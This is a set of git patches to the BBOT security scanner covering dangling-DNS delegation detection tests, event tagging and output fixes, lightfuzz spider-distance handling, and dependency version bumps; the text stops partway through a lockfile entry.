b/bbot/presets/baddns.yml @@ -6,6 +6,6 @@ modules: config: modules: baddns: - enabled_submodules: [CNAME, MX, TXT] + enabled_submodules: [CNAME, MX, TXT, DELEGATION] min_severity: LOW min_confidence: MEDIUM diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 2ef77da8df..958245d72a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -66,7 +66,7 @@ def _max_level(values, levels): # Modules that wrap CNAME findings and may use variables for severity/confidence. # When a field uses a variable instead of a literal, its max is bounded by # CNAME's max for that field. -CNAME_DERIVED_MODULES = {"references", "txt", "wildcard", "mtasts"} +CNAME_DERIVED_MODULES = {"references", "txt", "wildcard", "mtasts", "delegation"} def test_baddns_max_severity_confidence(): @@ -196,7 +196,7 @@ def set_target(self, target): return HTTPSERVER_HOSTPORT expect_args = {"method": "GET", "uri": "/"} - respond_args = {"response_data": "

    Oops! We couldn’t find that page.

    ", "status": 200} + respond_args = {"response_data": "error code: 1001", "status": 409} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) await module_test.mock_dns( @@ -212,3 +212,94 @@ def check(self, module_test, events): "Failed to emit FINDING" ) assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" + + +class BaseTestBaddnsDelegation(ModuleTestBase): + module_name = "baddns" + modules_overrides = ["baddns"] + targets = ["bad.dns"] + config_overrides = { + "dns": {"minimal": False}, + "modules": {"baddns": {"enabled_submodules": ["DELEGATION"]}}, + } + + async def dispatchWHOIS(x): + return None + + async def setup_after_prep(self, module_test): + from baddns.lib.whoismanager import WhoisManager + + await module_test.mock_dns(self.mock_data) + module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS) + + +class TestBaddns_delegation(BaseTestBaddnsDelegation): + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.azurewebsites.net."]}, + "_dmarc.bad.dns": {"CNAME": ["baddns.trydiscourse.com."]}, + "selector1._domainkey.bad.dns": {"CNAME": ["baddns.us-east-1.elasticbeanstalk.com."]}, + "_NXDOMAIN": [ + "baddns.azurewebsites.net", + "baddns.trydiscourse.com", + "baddns.us-east-1.elasticbeanstalk.com", + ], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Failed to emit ACME delegation FINDING" + ) + assert any("Dangling DMARC delegation [_dmarc.bad.dns]" in d for d in descriptions), ( + "Failed to emit DMARC delegation FINDING" + ) + assert any("Dangling DKIM delegation [selector1._domainkey.bad.dns]" in d for d in descriptions), ( + "Failed to emit DKIM delegation FINDING" + ) + assert all(e.data["severity"] == "HIGH" for e in findings), "Delegation findings must be HIGH severity" + assert all("baddns-delegation" in e.tags for e in findings), "Failed to add baddns tag" + + +class TestBaddns_delegation_wildcard(BaseTestBaddnsDelegation): + """A wildcard answers for every probed label, so only a label pointing somewhere else is a real delegation.""" + + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.trydiscourse.com."]}, + r"regex:.*\.bad\.dns$": {"CNAME": ["wildcard.azurewebsites.net."]}, + "_NXDOMAIN": ["baddns.trydiscourse.com", "wildcard.azurewebsites.net"], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Label pointing off the wildcard must still be reported" + ) + assert not any("Dangling DMARC delegation" in d for d in descriptions), ( + "Wildcard-covered labels must not be reported" + ) + assert not any("Dangling DKIM delegation" in d for d in descriptions), ( + "Wildcard-covered labels must not be reported" + ) + + +class TestBaddns_delegation_generic(BaseTestBaddnsDelegation): + """A CNAME to a name that simply doesn't exist is routine here, so only claimable outcomes count.""" + + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.azurewebsites.net."]}, + "_dmarc.bad.dns": {"CNAME": ["gone.unknown-vendor.net."]}, + "_NXDOMAIN": ["baddns.azurewebsites.net", "gone.unknown-vendor.net"], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Label matching a service signature must be reported" + ) + assert not any("DMARC" in d for d in descriptions), "GENERIC delegation findings must be suppressed" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index d99f39c00a..84926445a0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -27,7 +27,7 @@ async def handle_event(self, event): self.events_seen.append(event.data) url = f"http://bad.dns:{HTTPSERVER_PORT}/" url_event = self.scan.make_event( - url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-401"] + url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-404"] ) if url_event is not None: await self.emit_event(url_event) @@ -46,8 +46,8 @@ def set_target(self, target): expect_args = {"method": "GET", "uri": "/"} respond_args = { - "response_data": "NoSuchBucketThe specified bucket does not existbad.dns", - "status": 401, + "response_data": "

    Error 404 - AnnounceKit

    ", + "status": 404, } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) @@ -59,7 +59,7 @@ def set_target(self, target): def check(self, module_test, events): assert any( e.type == "FINDING" - and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist, BucketName | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" + and "Possible [Announcekit Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: Error 404 - AnnounceKit | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" in e.data["description"] for e in events ), "Failed to emit FINDING" diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 26dd34f8f0..aa3f18f76e 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -122,10 +122,12 @@ dns: # Attempts per brute-force name before giving up (each retry lands on a different resolver) # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate brute_retries: 20 - # Per-query timeout in seconds when brute-forcing. Deliberately much shorter than - # dns.timeout: a public resolver that hasn't answered by now won't, and retrying - # elsewhere is cheaper than waiting. - brute_timeout: 1 + # Per-query timeout in seconds when brute-forcing, deliberately much shorter than dns.timeout + # Retrying elsewhere is cheaper than waiting; going below this starts shrinking the resolver pool + brute_timeout: 0.5 + # Reuse one socket per resolver instead of binding one per query, which keeps NAT/conntrack + # state bounded by the resolver count rather than growing with query volume + brute_persistent_socket: true # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt @@ -463,7 +465,7 @@ In addition to the stated options for each module, the following universal optio | Config Option | Type | Description | Default | |--------------------------------------------------------|------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | modules.baddns.custom_nameservers | list[str] | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns.enabled_submodules | list[str] | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | +| modules.baddns.enabled_submodules | list[str] | A list of submodules to enable. Empty list (default) enables CNAME, MX, TXT and DELEGATION Only | [] | | modules.baddns.min_confidence | ConfidenceLiteral | Minimum confidence to emit | MEDIUM | | modules.baddns.min_severity | SeverityLiteral | Minimum severity to emit | LOW | | modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index d2190f5d2d..fbacea28d5 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -15,7 +15,7 @@ Check for subdomain takeovers and other DNS issues. config: modules: baddns: - enabled_submodules: [CNAME, MX, TXT] + enabled_submodules: [CNAME, MX, TXT, DELEGATION] min_severity: LOW min_confidence: MEDIUM ``` @@ -42,7 +42,7 @@ Run all baddns modules and submodules. config: modules: baddns: - enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD, DELEGATION] min_severity: INFO min_confidence: UNKNOWN baddns_zone: diff --git a/pyproject.toml b/pyproject.toml index aa1196af11..5bc3e0288b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ dependencies = [ "tldextract>=5.3.0,<6", "cloudcheck>=11.1.0,<12", "blasthttp>=0.10.0,<0.11", - "blastdns>=2.0.0,<3", + "blastdns>=2.0.0,<2.1", "zstandard>=0.22,<1", "packaging>=23.0", ] @@ -81,7 +81,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", - "baddns~=2.4.1", + "baddns~=2.5.0", "ruff==0.16.9", "maturin>=1.4,<2", ] @@ -98,10 +98,6 @@ docs = [ "pymdown-extensions>=10.20.1,<13", ] -[tool.uv] -# baddns still declares blastdns<1.10; override until it ships a 2.x-compatible release -override-dependencies = ["blastdns>=2.0.0,<3"] - [build-system] requires = ["hatchling"] build-backend = "hatchling.build" diff --git a/uv.lock b/uv.lock index 4440d96e25..86cd184e7e 100644 --- a/uv.lock +++ b/uv.lock @@ -7,9 +7,6 @@ resolution-markers = [ "python_full_version < '3.11'", ] -[manifest] -overrides = [{ name = "blastdns", specifier = ">=2.0.0,<3" }] - [[package]] name = "annotated-doc" version = "0.0.4" @@ -163,7 +160,7 @@ wheels = [ [[package]] name = "baddns" -version = "2.4.1" +version = "2.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, @@ -175,10 +172,11 @@ dependencies = [ { name = "python-whois" }, { name = "pyyaml" }, { name = "tldextract" }, + { name = "yara-python" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/1d/91/62cef471fba0201e38d1d3cca0170ca0dd25c5417c7f2f2b495dc3903b3e/baddns-2.4.1.tar.gz", hash = "sha256:022e66a7d04ccbf239ba0a012c505dcc8d4246d240817c16802d1c833f1765fa", size = 62730, upload-time = "2026-06-17T23:12:10.841Z" } +sdist = { url = "https://files.pythonhosted.org/packages/07/38/2adf163056db50f943a838fb3602463762fc523d3f6a9147fd0a2bea631f/baddns-2.5.0.tar.gz", hash = "sha256:8f2f87dc2be54a5a74aea350cf4b079fcafbe31b811951ac940952ad29c2e96a", size = 80403, upload-time = "2026-10-09T15:27:29.881Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8c/d1/f7cc99fbf5146becdefc01b68917f4de8b5d32b355fe8be42e4ae12e5538/baddns-2.4.1-py3-none-any.whl", hash = "sha256:bda752ecdb31fe27c753516ab476f0371d128fe5c7f1c8a677ba49ad9348d8e3", size = 121104, upload-time = "2026-06-17T23:12:09.661Z" }, + { url = "https://files.pythonhosted.org/packages/16/5a/1e0479d06fcb17e8310383b58be8c4aad5e17f8d781b9ed785b70b6eed3f/baddns-2.5.0-py3-none-any.whl", hash = "sha256:b8d6d04f75cb47cf261c21708ea41ec89111b447844e458337604a702b717b5a", size = 134089, upload-time = "2026-10-09T15:27:28.823Z" }, ] [[package]] @@ -267,7 +265,7 @@ requires-dist = [ { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "asndb", specifier = ">=1.1.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, - { name = "blastdns", specifier = ">=2.0.0,<3" }, + { name = "blastdns", specifier = ">=2.0.0,<2.1" }, { name = "blasthttp", specifier = ">=0.10.0,<0.11" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=11.1.0,<12" }, @@ -304,7 +302,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.4.1" }, + { name = "baddns", specifier = "~=2.5.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.143.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, From 87ebd0da0f510b5a264a4f64d6d71ba49dd931db Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 13 Oct 2026 13:42:35 -0400 Subject: [PATCH 146/256] events: show host in FINDING text output when not otherwise present --- bbot/core/event/base.py | 3 +++ bbot/test/test_step_1/test_events.py | 29 +++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f3e3f2b13a..3f8b9aab78 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -2020,8 +2020,11 @@ def _data_human(self): parts.append(f"Confidence: [{self.data['confidence']}]") parts.append(self.data["description"]) url = self.data.get("url", "") + host = self.data.get("host", "") if url and url not in self.data["description"]: parts.append(f"({url})") + elif host and not url and host not in self.data["description"]: + parts.append(f"Host: [{host}]") cves = self.data.get("cves", []) if cves: parts.append(f"[{', '.join(cves)}]") diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a331172182..cc353ff72c 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -417,8 +417,35 @@ def _http_response(url): "FINDING", dummy=True, ) - assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf" + assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf Host: [192.168.1.1]" assert test_vuln2.host.is_private + # host is not repeated when the description already contains it + test_vuln3 = scan.make_event( + { + "host": "www.evilcorp.com", + "severity": "INFO", + "confidence": "HIGH", + "description": "Something found on www.evilcorp.com", + "name": "Test Finding", + }, + "FINDING", + dummy=True, + ) + assert test_vuln3.data_human == "Severity: [INFO] Confidence: [HIGH] Something found on www.evilcorp.com" + # url takes the place of host when present + test_vuln4 = scan.make_event( + { + "host": "www.evilcorp.com", + "url": "http://www.evilcorp.com/admin", + "severity": "INFO", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, + "FINDING", + dummy=True, + ) + assert test_vuln4.data_human == "Severity: [INFO] Confidence: [HIGH] asdf (http://www.evilcorp.com/admin)" # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) From 603978e0859e6728978decc5a6d513da3384601b Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 14 Oct 2026 10:25:24 -0400 Subject: [PATCH 147/256] Don't tag in-scope events as affiliate (#3524) --- bbot/core/event/base.py | 6 +++++- bbot/test/test_step_1/test_events.py | 18 ++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f3e3f2b13a..b0a73ebc30 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -549,7 +549,11 @@ def tags(self, tags): def add_tag(self, tag): if self._tags is None: self._tags = set() - self._tags.add(sys.intern(tagify(tag))) + tag = tagify(tag) + # an in-scope event is never an affiliate (refresh_scope_tags covers events that become in-scope later) + if tag == "affiliate" and getattr(self, "_scope_distance", None) == 0: + return + self._tags.add(sys.intern(tag)) def add_tags(self, tags): for tag in set(tags): diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a331172182..78d9b55b89 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -314,6 +314,24 @@ def _http_response(url): assert tag in affiliate_event2.tags assert tag not in affiliate_event3.tags + # an in-scope event is never an affiliate, whether tagged directly or inheriting it + in_scope_parent = scan.make_event("https://evilcorp.com/", "URL", parent=root_event, tags=["status-200"]) + in_scope_parent.scope_distance = 0 + tagged_in_scope = scan.make_event( + "https://evilcorp.com/a", "URL_UNVERIFIED", parent=in_scope_parent, tags="affiliate" + ) + assert tagged_in_scope.scope_distance == 0 + assert "affiliate" not in tagged_in_scope.tags + out_of_scope_affiliate = scan.make_event( + "https://evilcorp.net/", "URL_UNVERIFIED", parent=in_scope_parent, tags="affiliate" + ) + assert out_of_scope_affiliate.scope_distance == 1 + assert "affiliate" in out_of_scope_affiliate.tags + in_scope_child = scan.make_event("https://evilcorp.net/b", "URL_UNVERIFIED", parent=out_of_scope_affiliate) + assert "affiliate" in in_scope_child.tags + in_scope_child.scope_distance = 0 + assert "affiliate" not in in_scope_child.tags + # discovery context event = scan.make_event( "127.0.0.1", parent=scan.root_event, context="something discovered {event.type}: {event.data}" From b26b57e0858d0529c7b51555a999916cd047e7e9 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 14 Oct 2026 10:26:18 -0400 Subject: [PATCH 148/256] Count lightfuzz baseline URLs against spider distance (#3523) --- bbot/modules/internal/speculate.py | 4 ++ .../module_tests/test_module_lightfuzz.py | 42 +++++++++++++++++++ 2 files changed, 46 insertions(+) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 4c2574c08f..f530d7d4f3 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -172,6 +172,10 @@ async def handle_event(self, event): event_is_url = event.type == "URL" event_has_url = not event.type.startswith("URL") and isinstance(event.data, dict) and "url" in event.data event_tags = ["blasthttp-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] + # a response whose URL isn't already in its history (e.g. a lightfuzz baseline) was reached via + # a link on another page, so it costs a spider hop like any extracted link + if event.type == "HTTP_RESPONSE": + event_tags.append("spider-danger") if event_is_url or event_has_url: url = event.url # only emit the url if it's not already in the event's history diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index a450714459..21e5b25ed1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -5943,3 +5943,45 @@ def check(self, module_test, events): assert len(web_params_fuzzed) == 0, ( f"lightfuzz should not fuzz wildcard hosts, but processed params: {web_params_fuzzed}" ) + + +class Test_Lightfuzz_baseline_respects_spider_limits(ModuleTestBase): + """A baseline response's URL is a link from another page; it costs a spider hop like any extracted link.""" + + targets = [HTTPSERVER_URL] + modules_overrides = ["http", "lightfuzz", "excavate", "speculate"] + config_overrides = { + "interactsh_disable": True, + "modules": {"lightfuzz": {"enabled_submodules": ["path"]}}, + } + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": 't'}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/target"}, + respond_args={"response_data": 'd'}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/deeper"}, + respond_args={"response_data": "deeper"}, + ) + + def check(self, module_test, events): + assert any(e.type == "WEB_PARAMETER" and e.data["name"] == "x" for e in events) + visited = {e.parsed_url.path for e in events if e.type == "URL"} + assert "/target" not in visited and "/deeper" not in visited, f"Visited past spider_distance 0: {visited}" + + +class Test_Lightfuzz_baseline_within_spider_limits(Test_Lightfuzz_baseline_respects_spider_limits): + config_overrides = { + "interactsh_disable": True, + "web": {"spider_distance": 1, "spider_depth": 3}, + "modules": {"lightfuzz": {"enabled_submodules": ["path"]}}, + } + + def check(self, module_test, events): + visited = {e.parsed_url.path for e in events if e.type == "URL"} + assert "/target" in visited, f"Baseline URL within spider_distance was not visited: {visited}" From 9fc5018d948e89e1b3eb46877eab548d089f15f8 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Wed, 14 Oct 2026 10:26:57 -0400 Subject: [PATCH 149/256] Update trufflehog (#3511) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index ae00e451bc..a502fbcc20 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.99.0", description="trufflehog version") + version: str = Field("3.99.2", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From ad38cdf0d269e8d4df731f72380415512cee504e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 14 Oct 2026 15:54:23 -0400 Subject: [PATCH 150/256] bump blastdns to 2.0.1 --- pyproject.toml | 2 +- uv.lock | 153 +++++++++++++++++++++---------------------------- 2 files changed, 66 insertions(+), 89 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 5bc3e0288b..d180674257 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ dependencies = [ "tldextract>=5.3.0,<6", "cloudcheck>=11.1.0,<12", "blasthttp>=0.10.0,<0.11", - "blastdns>=2.0.0,<2.1", + "blastdns>=2.0.1,<2.1", "zstandard>=0.22,<1", "packaging>=23.0", ] diff --git a/uv.lock b/uv.lock index 86cd184e7e..31df05ce1c 100644 --- a/uv.lock +++ b/uv.lock @@ -265,7 +265,7 @@ requires-dist = [ { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "asndb", specifier = ">=1.1.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, - { name = "blastdns", specifier = ">=2.0.0,<2.1" }, + { name = "blastdns", specifier = ">=2.0.1,<2.1" }, { name = "blasthttp", specifier = ">=0.10.0,<0.11" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=11.1.0,<12" }, @@ -349,98 +349,75 @@ wheels = [ [[package]] name = "blastdns" -version = "2.0.0" +version = "2.0.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "orjson" }, { name = "pydantic" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b3/e7/bbb86377c300f03e40ecebc8fcd01c2510ffde5127f3713ca08a681d1570/blastdns-2.0.0.tar.gz", hash = "sha256:b1155d642a67a468b313f493ee337a7655c2f190adc1c25dad174555012ac213", size = 168985, upload-time = "2026-09-22T15:09:43.345Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/9e/fb/d22c181bf6019998d4485e90b392c585fd050befea52ae4d9887a9d1ddb3/blastdns-2.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fad0755c2e9586873ddb63221e3c3bfa892c130f154e45ccbbda0b72563ba5b2", size = 2718601, upload-time = "2026-09-22T15:07:19.157Z" }, - { url = "https://files.pythonhosted.org/packages/59/72/b70ba280a300c6c168558a6a743b76dc9169baa42a2257737300b873c2b8/blastdns-2.0.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:ad1fea0165732ac8d7b06db29ef80c817753ea6ba3fc592e40d9ee412044a4d1", size = 2604121, upload-time = "2026-09-22T15:07:31.944Z" }, - { url = "https://files.pythonhosted.org/packages/7b/6b/db1f1b3c85859a54349806b8fcdd99c4539ec6319a84ecb4cf315f981941/blastdns-2.0.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c176755e9b1bdbe5a35bd88a5fc5dc96e92778ed53fa4cee3dc8b5f15125c3f9", size = 2854822, upload-time = "2026-09-22T15:08:12.185Z" }, - { url = "https://files.pythonhosted.org/packages/06/73/486cd65fd61e3ab3c8308c56188ccd0bd8e473d2e9149281b03d47d61f12/blastdns-2.0.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:6826b3cb252de74f1f2b9aba810e8c9adb48e12d31aa89e31c2df6809b0a0fca", size = 3871364, upload-time = "2026-09-22T15:07:44.423Z" }, - { url = "https://files.pythonhosted.org/packages/3b/81/cc06edaf6f3576275d428c3bfb73099a6c8e73c7cf48bcadbabb456e8f6c/blastdns-2.0.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:142e898d56b4fff83fa7c72e93d251c0d28d1f07ae1fab40cf3b1286efe7c980", size = 2781192, upload-time = "2026-09-22T15:07:59.078Z" }, - { url = "https://files.pythonhosted.org/packages/b6/b5/aeab817311a16be5558af6d3d787c605775f7ccaaf761b8bc5f5b22f564e/blastdns-2.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:c50f2bb010807d91fe1cd7fde26a0f304e71e19ed86c95500cc9d067cc60e861", size = 2648527, upload-time = "2026-09-22T15:08:25.548Z" }, - { url = "https://files.pythonhosted.org/packages/8a/d1/50e9bd6b42b05ad9dfb1531972aabb20157329fa89507cf59264f1963040/blastdns-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3bfe7263ba7a0fd0755fc7b66fd4982bb13984ef25f3a41e98b7c9b286c25006", size = 2900456, upload-time = "2026-09-22T15:08:51.424Z" }, - { url = "https://files.pythonhosted.org/packages/c1/0e/6e709d5013948000341e5c36bbc56ee74d097560a036279d490f22b90445/blastdns-2.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:b974a43a8bd36751d1ed381ec9ef2bdfca99a88c7beca06adddf0d7854de9a10", size = 2876959, upload-time = "2026-09-22T15:09:04.375Z" }, - { url = "https://files.pythonhosted.org/packages/21/b3/b86c2e00f916674a3e5540bcf03231c503a6ac039dff34f03c599c447a80/blastdns-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4edf4a8ba91bb8561dc4c643cbb667d0a97cf6fd9d944be2dfe1eda5859beaa9", size = 2968009, upload-time = "2026-09-22T15:09:17.618Z" }, - { url = "https://files.pythonhosted.org/packages/e9/01/8ad0f68020adbe7b83e47352a7ed4476e54231e66ea809cf1b2bb240a9af/blastdns-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7d467720a373d8f7f575b0527bad703024ca9e4f0f10af76e4f5584eec56cd86", size = 2965991, upload-time = "2026-09-22T15:09:31.163Z" }, - { url = "https://files.pythonhosted.org/packages/57/66/ba1c821659c0b243845372988db3367c7bf5344c3719e30d03c793898998/blastdns-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:838358819ceaa1766e92135cca04e15c615ba6495ad8769d77d31a1156144220", size = 2896002, upload-time = "2026-09-22T15:09:44.507Z" }, - { url = "https://files.pythonhosted.org/packages/e5/46/7f577bcd9147c92d9d96879da0574333e34998166d1869167a02b1e4dd8e/blastdns-2.0.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:8351ace2db652948ee353f258918b938b173333aba31c595107ce29b441a0847", size = 2842785, upload-time = "2026-09-22T15:08:44.963Z" }, - { url = "https://files.pythonhosted.org/packages/3c/fd/198a90e03539291cd2439724fbdcde77887f46d7165afe037f592a2555f2/blastdns-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e81f8e11b73f4f1a909169f24b3026e11ad8bbad808b067663f1dfec8677dc0d", size = 2702746, upload-time = "2026-09-22T15:08:38.516Z" }, - { url = "https://files.pythonhosted.org/packages/8e/98/3c85b5061d904e731fb9a8927db98090961ffacd1d3ded77a2350b9c6c6b/blastdns-2.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2d507c48d8d237f693af9af17694e65a4fdc14e559c45364e3467174c9dbce8d", size = 2718100, upload-time = "2026-09-22T15:07:20.844Z" }, - { url = "https://files.pythonhosted.org/packages/64/e7/dd5b5bcb300ec1f5c388a57ba1cb3258be505099bab1f2740faf37d9747c/blastdns-2.0.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:73bc4fd4dfe1f9c8b64a0166c678b945118402b9cda6da7d238454b893f2db16", size = 2603842, upload-time = "2026-09-22T15:07:33.306Z" }, - { url = "https://files.pythonhosted.org/packages/65/c8/96d27e9800b921b9e952d4e54de0f7441ee585c92bf0644ac1373104ecbe/blastdns-2.0.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:eeb819c1819a864ed806d9b3aebf574aa53a0cad14f3ba395c6d295e5eff076c", size = 2855081, upload-time = "2026-09-22T15:08:13.764Z" }, - { url = "https://files.pythonhosted.org/packages/7e/57/fa450c448b7bb1336ea1d5bdf2b36cecbe5f0301b924f035e5c9a7df12dc/blastdns-2.0.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:09deaaf5f9d9beb76db637b76ef0f27695108cd17aeab6fd79311005cea90dc2", size = 3869873, upload-time = "2026-09-22T15:07:46.037Z" }, - { url = "https://files.pythonhosted.org/packages/20/7a/1cb6410739801a4beb543137cafff3bb4270ac1e508c4839dd6432987699/blastdns-2.0.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:43514aed8c933d553a1ead0b5d53b258fe99ba8409d898b6d50569362e44b2a8", size = 2781417, upload-time = "2026-09-22T15:08:00.736Z" }, - { url = "https://files.pythonhosted.org/packages/d7/d4/317a1adcd9d752fb54621cebe5ceff0b27d9cd8a9315be8ff7d931566e9b/blastdns-2.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = 